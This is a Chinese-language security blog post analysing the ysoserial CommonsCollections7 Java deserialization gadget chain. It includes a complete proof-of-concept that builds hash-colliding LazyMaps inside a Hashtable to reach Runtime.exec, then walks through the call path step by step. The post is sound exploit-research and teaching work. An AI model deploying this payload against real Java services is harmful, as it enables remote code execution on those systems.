ysoserial CommonsColletions7分析

  • A+
所属分类:代码审计
CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的。文章如有错误,敬请大佬们斧正

CC7利用的是hashtable#readObject作为反序列化入口。AbstractMap的equals来触发的LazyMap的get方法

POC分析

这条链太过于复杂,无法想象大佬们是怎么样的思维挖掘出这条链的,所以只能跟着大佬的poc跟着进行调试了分析了

public class CC7 {
    public static void main(String[] args) throws Exception {
        final String[] execArgs = new String[]{"calc"};

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]
{String.classClass[].class},
                new Object[]
{"getRuntime"new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[]{Object.classObject[].class},
                new Object[]
{nullnew Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                execArgs),
            new ConstantTransformer(1)}
;

        Map hashMap1 = new HashMap();
        Map hashMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
        lazyMap1.put("yy"1);

        Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
        lazyMap2.put("zZ"1);

        System.out.println(lazyMap1 == lazyMap2);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 1);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain, transformers);

        lazyMap2.remove("yy");

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
        objectInputStream.readObject();
    }
}

前面和其他链都一样,关键看后面。这里构造了两个LazyMap对象,并且都put进了hashtable中。而hashtable的readObject就是为反序列化的入口。

在readObject方法的最后一行,进入reconstitutionPut方法

ysoserial CommonsColletions7分析

进行判断tab[index]是否为null,不为null则进入if语句,执行e.key.equals(key),此时的e.key为LazyMap

ysoserial CommonsColletions7分析

转到LazyMap的equals方法,此时的map就是刚开始传入的HashMap,而参数object就是LazyMap

ysoserial CommonsColletions7分析ysoserial CommonsColletions7分析

转到HashMap的equals,第495行进行了m.get,而这个m就是LazyMap,从而调用到了LazyMap的get方法

ysoserial CommonsColletions7分析

关于满足上面调用链,要满足几个条件

两个LazyMap的hashcode值要一样

为了在hashtable数组put第二个LazyMap时候会执行equals方法,所以要进行两个hash值是相同的。即

lazyMap1.hashCode() == lazyMap2.hashCode()

而相同的条件则是里面的元素值一样,比如

"zZ".hashCode()和"yy".hashCode()是一样的

ysoserial CommonsColletions7分析

类似的还有Aa和BB等等

hashtable要put两次

在反序列时候,执行到reconstitutionPut,需要把第一个LazyMap put进数组。此时进行for循环判断tab[3]的值为空(null),即不会进入if语句进行判断,而直接加入lazyMap进行数组到tab[3]的位置

ysoserial CommonsColletions7分析

第二次加入LazyMap,会发现LazyMap已经存在于tab[3]的位置,从而进行hash和equals判断。两个lazyMap对象用hashCode拿到的hash值其实是相同的,就会执行lazyMap的equals方法判断两个LazyMap。

ysoserial CommonsColletions7分析

e里面存放的值

ysoserial CommonsColletions7分析

要remove移除LazyMap的值

因为之前在第二次hashtable.put(lazyMap2, 1);时候会进行一次把值加入到m,m.size就成了2,导致了if语句判断为真,直接return false中断了后面m.get的执行,所以要remove第一次put的lazyMap1。接下来看详细解读

Hashtable不允许放重复的值,Hashtable进行put的时候,会先比较集合中是否有相同的参数(利用hash值和equals方法比较),如下图

ysoserial CommonsColletions7分析

第二次hashtable.put时,计算到两个lazyMap得hash值相同,则再调用lazyMap得equals进行比较,lazyMap得equals方法是继承至AbstractMapDecorator

ysoserial CommonsColletions7分析

return了map的equals方法,而map的值是在LazyMap.decorate中传入的hashMap2,为HashMap类型

ysoserial CommonsColletions7分析

查看HashMap的equals(此方法是继承自AbstractMap)

ysoserial CommonsColletions7分析

在482行中,此时m值只有个zZ,size为1

ysoserial CommonsColletions7分析

之后把zZ加进了集合后,就有两个元素了。

后面进行反序列化时候,调用到这里会出现m.size=2,而size()则是1,导致了直接return false中断了后面m.get的执行

ysoserial CommonsColletions7分析


本文始发于微信公众号(安全羊):ysoserial CommonsColletions7分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: